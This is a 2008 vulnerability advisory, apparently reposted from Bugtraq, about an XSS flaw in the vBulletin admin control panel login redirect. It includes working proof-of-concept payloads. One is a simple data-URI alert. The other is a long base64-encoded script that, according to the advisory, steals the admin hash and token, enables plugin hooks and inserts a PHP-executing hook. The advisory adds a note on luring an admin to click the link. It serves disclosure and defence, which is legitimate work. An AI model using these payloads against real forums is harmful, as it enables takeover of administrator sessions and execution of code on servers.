Exploit for vBulletin "obscure" XSS (3.7.1 < 3.6.10)

2008.06.13
Credit: Jessica Hope
Risk: Low
Local: No
Remote: No
CVE: N/A
CWE: CWE-79

====================================================================== Advisory : Exploit for vBulletin "obscure" XSS Release Date : June 13th 2008 Application : vBulletin Version : vBulletin 3.7.1 and lower, vBulletin 3.6.10 and lower Platform : PHP Vendor URL : http://www.vbulletin.com/ Authors : Jessica Hope (jessicasaulhope_at_googlemail&#46;com) ======================================================================= Overview Due to various failures in sanitising user input, it is possible to construct XSS attacks that are rather damaging. ======================================================================= Discussion vBulletin released PL1 for their 3.7.1 and 3.6.10 versions of vBulletin: http://www.vbulletin.com/forum/showthread.php?t=274882 In the above topic they try to pass off the XSS as difficult to exploit, with low exposure and damage. This advisory is here to detail what the XSS is and how wrong Jelsoft are for assuming that XSS is harmless. First, the discussion of exactly what the exploit is. The XSS in question exists on the login page for the ACP (admin control panel). The login script takes a redirect parameter that lacks sanitation, allowing a rather easy XSS: http://localhost/vB3/admincp/index.php?redirect={XSS} Yes, here goes the obscure. What is even better is that the exploit will work outright if the admin is already logged in; if the admin is not, they will be required to log in. If you Base64-encode your attack vector using the data: URI scheme, the XSS survives the login request and activates after the admin is logged in. A simple example of the above: http://localhost/vB3/admincp/index.php?redirect=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K Now to address the quote "potential for exposure and damage is limited". Clearly Jelsoft have never seen what one can do with an XSS. In this case you have an unlimited and unaltered XSS space, so you're free to invoke some AJAX and have fun. Just to give ideas on how this could turn into something larger, vBulletin has hooks that operate using eval(), and new hooks can be added via the ACP itself. It is trivial to write some JS that not only enables hooks but also inserts a nice RFI hook. Here's one using the data URI: data:text/html;base64,PHNjcmlwdD5ldmFsKCJ1PSdhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQnO2M9J0NvbnRlbnQtdHlwZSc7ZD0nQ29udGVudC1sZW5ndGgnO3JlZz0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7cmVnLm9wZW4oJ0dFVCcsICdodHRwOi8vbG9jYWxob3N0L3ZCL3VwbG9hZC9hZG1pbmNwL3BsdWdpbi5waHA/ZG89YWRkJywgZmFsc2UpO3JlZy5zZW5kKG51bGwpO3IgPSByZWcucmVzcG9uc2VUZXh0O3Q9J2h0dHA6Ly9sb2NhbGhvc3QvdkIvdXBsb2FkL2FkbWluY3AvcGx1Z2luLnBocCc7aD0nJmFkbWluaGFzaD0nK3Iuc3Vic3RyKHIuaW5kZXhPZignaGFzaFwiJykrMTMsMzIpO3RvPScmc2VjdXJpdHl0b2tlbj0nK3Iuc3Vic3RyKHIuaW5kZXhPZigndG9rZW5cIicpKzE0LDQwKTt0Mj0ncHJvZHVjdD12YnVsbGV0aW4maG9va25hbWU9Zm9ydW1ob21lX3N0YXJ0JmRvPXVwZGF0ZSZ0aXRsZT1mb28mZXhlY3V0aW9ub3JkZXI9MSZwaHBjb2RlPXBocGluZm8oKTsmYWN0aXZlPTEnK2grdG87cjIgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTtyMi5vcGVuKCdQT1NUJywgdCwgZmFsc2UpO3IyLnNldFJlcXVlc3RIZWFkZXIoZCwgdDIubGVuZ3RoKTtyMi5zZXRSZXF1ZXN0SGVhZGVyKGMsdSk7cjIuc2VuZCh0Mik7dD0naHR0cDovL2xvY2FsaG9zdC92Qi91cGxvYWQvYWRtaW5jcC9vcHRpb25zLnBocCc7dDI9J2RvPWRvb3B0aW9ucyZzZXR0aW5nW2VuYWJsZWhvb2tzXT0xJytoK3RvO3IyPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTtyMi5vcGVuKCdQT1NUJyx0LGZhbHNlKTtyMi5zZXRSZXF1ZXN0SGVhZGVyKGQsdDIubGVuZ3RoKTtyMi5zZXRSZXF1ZXN0SGVhZGVyKGMsdSk7cjIuc2VuZCh0Mik7Iik8L3NjcmlwdD4K The above will survive a login prompt. It will then, once executed, proceed to parse one of the ACP pages and extract the admin hash and token, then it will enable hooks and add one that executes phpinfo(). In order to exploit, just get an admin to click the link. It's easier than Jelsoft would expect... ======================================================================= Solution Per usual, update to 3.7.1 PL1 or 3.6.10 PL1 For the vendor, however, the solution to such things in the future is to never call an exploit obscure, and never write "the potential for exposure and damage is limited" when talking about an XSS. Above all, give credit where credit is due, for there's no quicker way to piss someone off than to not give credit. If the above was due to your PR department, then ignore them next time, for handling exploits with PR is never a good idea. =======================================================================

References:

http://seclists.org/bugtraq/2008/Jun/0121.html


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top